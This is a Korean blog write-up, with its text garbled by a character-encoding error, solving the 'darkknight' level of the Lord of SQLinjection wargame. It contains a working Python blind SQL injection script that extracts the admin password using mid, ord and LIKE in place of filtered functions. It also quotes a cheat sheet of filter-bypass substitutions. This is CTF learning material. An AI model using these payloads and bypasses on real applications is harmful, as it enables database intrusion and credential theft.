์ด์ ๊น์ง๋ ๋ฌธ์์ด ํํ์ id ํน์ pw๋ฅผ ๊ฐ์ ๋๊ฒจ์ฃผ์๋ค๋ฉด, ์ด๋ฒ์๋ ์ซ์ ํํ์ no๋ฅผ ๋๊ฒจ์ฃผ์ด์ผ ํ๋ค.
์ฆ no์ '๋ก ๋๋ฌ์ธ์ฌ์ ์ฟผ๋ฆฌ๋ฅผ ์คํํ๋ ๊ฒ์ด ์๋๊ธฐ ๋๋ฌธ์ ๊ตณ์ด '๋ฅผ ์ฌ์ฉํด ์ฐํ๋ฅผ ํ ํ์๊ฐ ์๋ค.
์๊ณ ๋ฅผ ์ข ๋ ๋์ด์ค ์ ์ด๋ค.
๋ง์นจ ํํฐ๋ง์ ํ๋ ๋ถ๋ถ๋ '๋ฅผ ๊ธ์งํ๊ณ ์๋ค.
๊ทธ๋ ๊ธฐ ๋๋ฌธ์ ๋ฌธ์๋ฅผ ์ด์ฉํด Blind ์ธ์ ์ ์ ์๋ํ๋ ๊ฒ์ ๋ถ๊ฐ๋ฅํ๋ค.
(๋ฌธ์๋ฅผ ์ฃผ๊ธฐ ์ํด์๋ '๋ฅผ ํฌํจ์ ํด์ผ ํ๊ธฐ ๋๋ฌธ์)
๊ทธ๋ฆฌ๊ณ ๋ ์ ์ธ๋ฅผ ํ๋ ํจ์๋ค๋ ์๋๋ฐ ๊ฐ๊ฐ substr๊ณผ ascii๊ฐ ์๋ค.
์ด๋ ๋ค ๋ค๋ฅธ ํจ์๋ก ๋์ฒด๊ฐ ๊ฐ๋ฅํจ.
substr -> mid
ascii -> ord
=๋ LIKE๋ก ์นํํ๋ฉด ๋๋ค.
์๋๋ ํ์ด์ฌ ์๋ํ ๋๊ตฌ์ด๋ค.
import requests
parameter = None
cookie = {'PHPSESSID':'์์ ์ ์ฟ ํค ๊ฐ์ ์
๋ ฅ'}
result = None
solve = ""
for i in range(1, 8+1):
for ascii in range(48, 112+1):
print(ascii)
parameter = "?pw=NULL&&no=0|| ORD(MID(id,1,1)) LIKE 97 %26%26 ORD(MID(pw,{},1)) LIKE {}%23".format(i, ascii)
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php" + parameter
result = requests.get(url=url, cookies=cookie).text
if "Hello admin" in result:
print(i, ascii, chr(ascii))
solve += chr(ascii)
break
print( solve )
๋ค๋ฅธ ๋ธ๋ก๊ฑฐ๋ถ์ด ํํฐ๋ฅผ ์ฐํํ๋ ๋ฐฉ๋ฒ์ ์ ํฌ์คํ ํด์ฃผ์ จ๋ค.
https://securitynote.tistory.com/2
[SQLi] SQL Injection ํํฐ๋ง ์ฐํ
** ์ด ํฌ์คํ ์ ์ถํ์ ํํฐ๋ง ํจํด ๋ฐ๊ฒฌ ์ ๊ณ์ ์ถ๊ฐํ ์์ ์ 1. substr ์ฐํ ord, right, left, mid ์ฌ์ฉ (ex) substr('admin',1,1) = 'a' → left('admin',1) 2. ascii ์ฐํ ord, hex ์ฌ์ฉ (ex) ..
securitynote.tistory.com
[substr] → ord, right, left, mid
[ascii] → ord, hex
[=, like, or, and]
= → like, between, in, instr
!= → <>
or → || (%7c%7c)
and → && (%26%26)
[๊ณต๋ฐฑ]
'' → (), /**/, %90, %0a, %0b, %0c, %0d, %a0, +, %20,
์ฃผ์(-- -, #) → ;%00
[์ฑ๊ธ ์ฟผํฐ]
' → %27, char, "(๋๋ธ ์ฟผํฐ)
[ereg, eregi]
ํน์๋ฌธ์ → %00(๋ ๋ฐ์ดํธ)
๋ฌธ์์ด → ๋์๋ฌธ์ ๋ณ๊ฒฝ
[preg_match]
\
'๐ดCTF > Lord of SQLinjection' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Lord of SQLinjection - giant (0) | 2021.12.08 |
---|---|
Lord of SQLinjection - bugbear (0) | 2021.12.07 |
Lord of SQLinjection - skeleton (0) | 2021.12.07 |
Lord of SQLinjection - vampire (0) | 2021.12.07 |
Lord of SQLinjection - troll (0) | 2021.12.07 |